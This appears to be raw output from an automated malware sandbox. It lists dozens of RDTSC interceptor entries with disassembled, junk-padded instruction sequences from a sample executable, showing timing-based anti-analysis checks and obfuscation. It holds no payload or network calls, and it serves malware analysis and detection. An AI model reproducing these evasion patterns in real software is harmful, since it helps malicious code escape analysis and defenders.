Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 51B0138 second address: 51B0217 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007FDFECF67A79h 0x00000008 add cx, B6B6h 0x0000000d jmp 00007FDFECF67A71h 0x00000012 popfd 0x00000013 pop edx 0x00000014 pop eax 0x00000015 jmp 00007FDFECF67A70h 0x0000001a popad 0x0000001b xchg eax, ebx 0x0000001c pushad 0x0000001d movzx esi, bx 0x00000020 pushfd 0x00000021 jmp 00007FDFECF67A73h 0x00000026 jmp 00007FDFECF67A73h 0x0000002b popfd 0x0000002c popad 0x0000002d push eax 0x0000002e jmp 00007FDFECF67A79h 0x00000033 xchg eax, ebx 0x00000034 pushad 0x00000035 mov esi, 6B930BF3h 0x0000003a pushfd 0x0000003b jmp 00007FDFECF67A78h 0x00000040 or cx, F0F8h 0x00000045 jmp 00007FDFECF67A6Bh 0x0000004a popfd 0x0000004b popad 0x0000004c mov ebx, dword ptr [ebp+10h] 0x0000004f jmp 00007FDFECF67A76h 0x00000054 xchg eax, esi 0x00000055 push eax 0x00000056 push edx 0x00000057 pushad 0x00000058 push eax 0x00000059 push edx 0x0000005a rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 51B0217 second address: 51B0244 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushfd 0x00000005 jmp 00007FDFED133C53h 0x0000000a jmp 00007FDFED133C53h 0x0000000f popfd 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 51B0244 second address: 51B025C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FDFECF67A74h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 51B025C second address: 51B0277 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDFED133C4Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f mov ah, C1h 0x00000011 movsx edi, cx 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 51B0277 second address: 51B027D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 51B027D second address: 51B0281 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 51B0281 second address: 51B0285 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 51B0285 second address: 51B029A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, esi 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FDFED133C4Ah 0x00000010 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 51B029A second address: 51B02A0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 51B02A0 second address: 51B02CD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDFED133C4Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov esi, dword ptr [ebp+08h] 0x0000000e jmp 00007FDFED133C4Eh 0x00000013 xchg eax, edi 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 pushad 0x00000018 popad 0x00000019 pushad 0x0000001a popad 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 51B02CD second address: 51B0337 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FDFECF67A74h 0x00000009 jmp 00007FDFECF67A75h 0x0000000e popfd 0x0000000f popad 0x00000010 pop edx 0x00000011 pop eax 0x00000012 push eax 0x00000013 jmp 00007FDFECF67A6Ch 0x00000018 xchg eax, edi 0x00000019 jmp 00007FDFECF67A70h 0x0000001e test esi, esi 0x00000020 pushad 0x00000021 mov ecx, 04DF490Dh 0x00000026 pushad 0x00000027 mov bl, ch 0x00000029 push ebx 0x0000002a pop eax 0x0000002b popad 0x0000002c popad 0x0000002d je 00007FE05F055D50h 0x00000033 push eax 0x00000034 push edx 0x00000035 push eax 0x00000036 push edx 0x00000037 pushad 0x00000038 popad 0x00000039 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 51B0337 second address: 51B034F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDFED133C54h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 51B034F second address: 51B0355 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 51B0355 second address: 51B0359 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 51B0359 second address: 51B03A0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDFECF67A6Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b cmp dword ptr [esi+08h], DDEEDDEEh 0x00000012 jmp 00007FDFECF67A6Eh 0x00000017 je 00007FE05F055D10h 0x0000001d jmp 00007FDFECF67A70h 0x00000022 mov edx, dword ptr [esi+44h] 0x00000025 push eax 0x00000026 push edx 0x00000027 push eax 0x00000028 push edx 0x00000029 push eax 0x0000002a push edx 0x0000002b rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 51B03A0 second address: 51B03A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 51B03A4 second address: 51B03AA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 51B03AA second address: 51B03B0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 51B03B0 second address: 51B040A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDFECF67A6Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b or edx, dword ptr [ebp+0Ch] 0x0000000e pushad 0x0000000f mov cl, 0Ch 0x00000011 pushfd 0x00000012 jmp 00007FDFECF67A73h 0x00000017 adc ah, 0000003Eh 0x0000001a jmp 00007FDFECF67A79h 0x0000001f popfd 0x00000020 popad 0x00000021 test edx, 61000000h 0x00000027 pushad 0x00000028 mov esi, 05A40E23h 0x0000002d push eax 0x0000002e push edx 0x0000002f rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 51B040A second address: 51B0420 instructions: 0x00000000 rdtsc 0x00000002 mov ah, E2h 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 jne 00007FE05F221EBDh 0x0000000d pushad 0x0000000e push edx 0x0000000f movzx eax, dx 0x00000012 pop edx 0x00000013 pushad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 51B0420 second address: 51B0440 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov al, 5Ah 0x00000006 popad 0x00000007 popad 0x00000008 test byte ptr [esi+48h], 00000001h 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FDFECF67A72h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 51E000E second address: 51E003C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDFED133C4Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007FDFED133C56h 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 movsx ebx, ax 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 51E003C second address: 51E00AC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FDFECF67A6Bh 0x00000009 jmp 00007FDFECF67A73h 0x0000000e popfd 0x0000000f pushfd 0x00000010 jmp 00007FDFECF67A78h 0x00000015 jmp 00007FDFECF67A75h 0x0000001a popfd 0x0000001b popad 0x0000001c pop edx 0x0000001d pop eax 0x0000001e xchg eax, ebp 0x0000001f push eax 0x00000020 push edx 0x00000021 pushad 0x00000022 jmp 00007FDFECF67A73h 0x00000027 movzx ecx, di 0x0000002a popad 0x0000002b rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 51E00AC second address: 51E00E5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDFED133C52h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b jmp 00007FDFED133C50h 0x00000010 and esp, FFFFFFF8h 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007FDFED133C4Ah 0x0000001c rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 51E00E5 second address: 51E00E9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 51E00E9 second address: 51E00EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 51E00EF second address: 51E0100 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FDFECF67A6Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 51E0100 second address: 51E0139 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edx 0x00000009 pushad 0x0000000a mov dh, ah 0x0000000c movsx edx, ax 0x0000000f popad 0x00000010 mov dword ptr [esp], ebx 0x00000013 jmp 00007FDFED133C4Ch 0x00000018 xchg eax, esi 0x00000019 push eax 0x0000001a push edx 0x0000001b jmp 00007FDFED133C57h 0x00000020 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 51E0139 second address: 51E0170 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDFECF67A79h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007FDFECF67A71h 0x0000000f xchg eax, esi 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 mov ax, di 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 51E0170 second address: 51E0217 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDFED133C4Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov esi, dword ptr [ebp+08h] 0x0000000c jmp 00007FDFED133C56h 0x00000011 sub ebx, ebx 0x00000013 pushad 0x00000014 mov cx, 7E59h 0x00000018 popad 0x00000019 test esi, esi 0x0000001b jmp 00007FDFED133C54h 0x00000020 je 00007FE05F1E9E1Eh 0x00000026 pushad 0x00000027 mov cl, 1Ah 0x00000029 mov ax, bx 0x0000002c popad 0x0000002d cmp dword ptr [esi+08h], DDEEDDEEh 0x00000034 push eax 0x00000035 push edx 0x00000036 pushad 0x00000037 pushfd 0x00000038 jmp 00007FDFED133C4Eh 0x0000003d xor ah, 00000048h 0x00000040 jmp 00007FDFED133C4Bh 0x00000045 popfd 0x00000046 pushfd 0x00000047 jmp 00007FDFED133C58h 0x0000004c and esi, 25DED1A8h 0x00000052 jmp 00007FDFED133C4Bh 0x00000057 popfd 0x00000058 popad 0x00000059 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 51E0217 second address: 51E021D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 51E021D second address: 51E0236 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDFED133C4Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ecx, esi 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 51E0236 second address: 51E023C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 51E023C second address: 51E02AF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007FDFED133C58h 0x00000008 pop esi 0x00000009 mov edi, 55D2A726h 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 je 00007FE05F1E9D89h 0x00000017 pushad 0x00000018 movsx ebx, cx 0x0000001b pushad 0x0000001c pushad 0x0000001d popad 0x0000001e mov dx, si 0x00000021 popad 0x00000022 popad 0x00000023 test byte ptr [77326968h], 00000002h 0x0000002a pushad 0x0000002b jmp 00007FDFED133C58h 0x00000030 push eax 0x00000031 mov si, di 0x00000034 pop ebx 0x00000035 popad 0x00000036 jne 00007FE05F1E9D64h 0x0000003c push eax 0x0000003d push edx 0x0000003e jmp 00007FDFED133C4Fh 0x00000043 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 51E02AF second address: 51E0315 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FDFECF67A6Fh 0x00000009 xor ch, 0000006Eh 0x0000000c jmp 00007FDFECF67A79h 0x00000011 popfd 0x00000012 push esi 0x00000013 pop ebx 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 mov edx, dword ptr [ebp+0Ch] 0x0000001a jmp 00007FDFECF67A6Ah 0x0000001f xchg eax, ebx 0x00000020 jmp 00007FDFECF67A70h 0x00000025 push eax 0x00000026 jmp 00007FDFECF67A6Bh 0x0000002b xchg eax, ebx 0x0000002c push eax 0x0000002d push edx 0x0000002e push eax 0x0000002f push edx 0x00000030 pushad 0x00000031 popad 0x00000032 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 51E0315 second address: 51E0330 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDFED133C57h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 51E0330 second address: 51E0354 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDFECF67A79h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 51E0354 second address: 51E0358 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 51E0358 second address: 51E035E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 51E035E second address: 51E0373 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FDFED133C51h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 51E0373 second address: 51E0377 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 51E0377 second address: 51E0392 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a push eax 0x0000000b movsx edi, si 0x0000000e pop eax 0x0000000f mov bh, 32h 0x00000011 popad 0x00000012 xchg eax, ebx 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 mov ah, dh 0x00000018 mov edi, esi 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 51E0392 second address: 51E03B5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDFECF67A6Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push dword ptr [ebp+14h] 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FDFECF67A6Dh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 51E03B5 second address: 51E03D6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 call 00007FDFED133C4Dh 0x0000000a pop ecx 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push dword ptr [ebp+10h] 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 mov edi, esi 0x00000016 push ecx 0x00000017 pop edx 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 51E0456 second address: 51E045C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 51E045C second address: 51E0460 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 51E0460 second address: 51E046E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop ebx 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c mov ah, bh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 51E046E second address: 51E04AD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov eax, 4A6AF133h 0x0000000b popad 0x0000000c mov esp, ebp 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 pushfd 0x00000012 jmp 00007FDFED133C4Bh 0x00000017 sub ax, A59Eh 0x0000001c jmp 00007FDFED133C59h 0x00000021 popfd 0x00000022 pushad 0x00000023 popad 0x00000024 popad 0x00000025 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 51D0267 second address: 51D026B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 51D026B second address: 51D027A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDFED133C4Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 51D027A second address: 51D02A6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDFECF67A79h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FDFECF67A6Ch 0x00000011 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 51D02A6 second address: 51D02D9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007FDFED133C51h 0x00000008 pop ecx 0x00000009 push edx 0x0000000a pop esi 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e xchg eax, ebp 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007FDFED133C56h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 51D02D9 second address: 51D02DE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 51C0EFE second address: 51C0F04 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 51C0F04 second address: 51C0F44 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FDFECF67A72h 0x00000009 xor si, BEB8h 0x0000000e jmp 00007FDFECF67A6Bh 0x00000013 popfd 0x00000014 push ecx 0x00000015 pop ebx 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 xchg eax, ebp 0x0000001a push eax 0x0000001b push edx 0x0000001c jmp 00007FDFECF67A71h 0x00000021 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 51C0F44 second address: 51C0F4A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 51C0F4A second address: 51C0F82 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007FDFECF67A76h 0x0000000e xchg eax, ebp 0x0000000f jmp 00007FDFECF67A70h 0x00000014 mov ebp, esp 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 51C0F82 second address: 51C0F86 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 51C0F86 second address: 51C0F8C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 51C0F8C second address: 51C0FAD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDFED133C54h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d push edx 0x0000000e pop esi 0x0000000f push edx 0x00000010 pop ecx 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 5240C3E second address: 5240C65 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 call 00007FDFECF67A75h 0x0000000a pop ecx 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 push edi 0x00000013 pop esi 0x00000014 mov dl, 9Ch 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 5240C65 second address: 5240C91 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDFED133C51h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d mov si, bx 0x00000010 jmp 00007FDFED133C4Fh 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 5240C91 second address: 5240CB7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDFECF67A79h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e mov al, dh 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 5240CB7 second address: 5240CBC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 52400F0 second address: 524011D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDFECF67A6Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007FDFECF67A76h 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 524011D second address: 5240121 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 5240121 second address: 5240127 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 5230E13 second address: 5230E36 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDFED133C51h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f mov edx, 5D33DAAEh 0x00000014 pushad 0x00000015 popad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 5230E36 second address: 5230E3B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 5230E3B second address: 5230E41 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 5230E41 second address: 5230E5B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov ebp, esp 0x00000009 jmp 00007FDFECF67A6Ah 0x0000000e pop ebp 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 mov bx, cx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 51D0909 second address: 51D090D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
